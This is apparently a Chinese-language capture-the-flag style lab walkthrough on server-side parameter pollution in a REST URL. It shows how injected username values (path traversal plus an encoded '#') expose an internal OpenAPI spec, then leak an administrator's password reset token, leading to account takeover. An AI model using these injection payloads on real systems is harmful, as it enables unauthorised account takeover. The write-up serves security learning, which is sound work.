> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/web/api-testing/server-side-parameter-pollution-in-a-rest-url.md).
# REST URL 中的服务器端参数污染
### 在 REST URL 中利用服务器端参数污染
**实验目标**/ 以管理员身份登录\*\*并删除用户**carlos**.
#### 1. 功能 « 忘记密码 »
你访问“忘记密码”功能并输入用户名 **administrator**.
发送到服务器的请求如下：
```bash
POST /forgot-password
csrf=CiKtg4vkiqLtNS3lAtIhUaMNSuOfnjh1&username=administrator
```
获得的答案：
```json
{
"result":"*****@normal-user.net",
"type":"email"
}
```
#### 2. 客户端 JavaScript 代码分析
JavaScript 代码显示 `username` 该值在查询中按原样发送，没有额外的服务器验证。
```javascript
let forgotPwdReady = (callback) => {
if (document.readyState !== "loading") callback();
else document.addEventListener("DOMContentLoaded", callback);
}
function urlencodeFormData(fd){
let s = '';
function encode(s){ return encodeURIComponent(s).replace(/%20/g,'+'); }
for(let pair of fd.entries()){
if(typeof pair[1]=='string'){
s += (s?'&':'') + encode(pair[0])+'='+encode(pair[1]);
}
}
return s;
}
const validateInputsAndCreateMsg = () => {
try {
const forgotPasswordError = document.getElementById("forgot-password-error");
forgotPasswordError.textContent = "";
const forgotPasswordForm = document.getElementById("forgot-password-form");
const usernameInput = document.getElementsByName("username").item(0);
if (usernameInput && !usernameInput.checkValidity()) {
usernameInput.reportValidity();
return;
}
const formData = new FormData(forgotPasswordForm);
const config = {
method: "POST",
headers: {
"Content-Type": "x-www-form-urlencoded",
},
body: urlencodeFormData(formData)
};
fetch(window.location.pathname, config)
.then(response => response.json())
.then(jsonResponse => {
if (!jsonResponse.hasOwnProperty("result"))
{
forgotPasswordError.textContent = "用户名无效";
}
else
{
forgotPasswordError.textContent = `请检查您的电子邮件: "${jsonResponse.result}"`;
forgotPasswordForm.className = "";
forgotPasswordForm.style.display = "none";
}
})
.catch(err => {
forgotPasswordError.textContent = "用户名无效";
});
} catch (error) {
console.error("意外错误:", error);
}
}
const displayMsg = (e) => {
e.preventDefault();
validateInputsAndCreateMsg(e);
};
forgotPwdReady(() => {
const queryString = window.location.search;
const urlParams = new URLSearchParams(queryString);
const resetToken = urlParams.get('reset-token');
if (resetToken)
{
window.location.href = `/forgot-password?passwordResetToken=${resetToken}`;
}
else
{
const forgotPasswordBtn = document.getElementById("forgot-password-btn");
forgotPasswordBtn.addEventListener("click", displayMsg);
}
});
```
这表明该值可以被解释为后端 API 路径的一部分。
#### 3. 尝试污染 `username` 参数
* 添加了一个 `#` 在参数末尾：
```bash
&username=administrator#
```
答案：
```json
{
"type": "error",
"result": "无效路由。请参阅 API 定义"
}
```
* 尝试跨路径：
```bash
&username=../../../../administrator
```
答案：来自 API 服务器的未找到错误。
{% code overflow="wrap" %}
```json
{
"error": "API 服务器的意外响应:/n/n/n /n 未找到<//title>/n<//head>/n<body>/n <h1>未找到<//h1>/n <p>您请求的 URL 未找到。<//p>/n<//body>/n<//html>/n"
}
```
{% endcode %}
<figure><img src="/files/cae6395e4386bef49ef5560771c0f52ed665d60a" alt=""><figcaption></figcaption></figure>
#### 4. OpenAPI 文档发现
结合目录穿越和 `#` 字符：
{% code overflow="wrap" %}
```bash
csrf=CiKtg4vkiqLtNS3lAtIhUaMNSuOfnjh1&username=../../../../administrator%23
```
{% endcode %}
它返回 `openapi.json` 且响应长度很大。
<figure><img src="/files/cb9c3c68b6b9d5ee3d31802eef6d61a592fab405" alt=""><figcaption></figcaption></figure>
* 错误信息：
```json
{
"error": "API 服务器的意外响应:/n{/n /"openapi/": /"3.0.0/",/n /"info/": {/n /"title/": /"用户 API/",/n /"version/": /"2.0.0/"/n },/n /"paths/": {/n /"/api/internal/v1/users/{username}/field/{field}/": {/n /"get/": {/n /"tags/": [/n /"users/"/n ],/n /"summary/": /"按用户名查找用户/",/n /"description/": /"API 版本 1/",/n /"parameters/": [/n {/n /"name/": /"username/",/n /"in/": /"path/",/n /"description/": /"用户名/",/n /"required/": true,/n /"schema/": {/n ..."
}
```
<figure><img src="/files/6877e49e6da99d2732732e69ed8b3e34c429b674" alt=""><figcaption></figcaption></figure>
服务器返回一个包含以下内容的错误： **OpenAPI** 文档，揭示了可用的内部路由，包括：
```bash
/api/internal/v1/users/administrator/field/{field}
```
#### 5. 内部 API 利用
该 `username` 参数被调整为直接针对 API：
```bash
administrator/field/test%23
```
```json
{
"type": "error",
"result": "出于安全原因，此版本的 API 仅支持 email 字段"
}
```
<figure><img src="/files/b5f4090ac0e880b924575c65b06a8f310edbbf35" alt=""><figcaption></figcaption></figure>
使用管理员邮箱得到有效答案。
```bash
&username=administrator/field/email%23
```
<figure><img src="/files/e7c9176294776a702fd47589ef29fc1fc625bc53" alt=""><figcaption></figcaption></figure>
#### 6. 找回重置令牌
```bash
../../v1/users/administrator
```
<figure><img src="/files/dd561599e16b7673129aa6fc524c8ba07264475f" alt=""><figcaption></figcaption></figure>
测试 API 暴露的其他字段：
<figure><img src="/files/b618fc28f73442c5a8e09b55813a83e85205fc0a" alt=""><figcaption></figcaption></figure>
```bash
&username=../../v1/users/administrator/field/passwordResetToken%23
```
答案：
```json
{
"type": "passwordResetToken",
"result": "guw2qorqvfcpqohuv92wb460x4da485o"
}
```
<figure><img src="/files/d36a742325299bcb7fa6ebd7417d9b8af054b481" alt=""><figcaption></figcaption></figure>
#### 7. 重置管理员密码
恢复的令牌用于访问重置页面：
```bash
/forgot-password?passwordResetToken=guw2qorqvfcpqohuv92wb460x4da485o
```
这使你能够为 **administrator**，然后连接并删除用户 **carlos**.
<figure><img src="/files/4d45adff2c3a82ba0e5206be3980f4833068b521" alt=""><figcaption></figcaption></figure>
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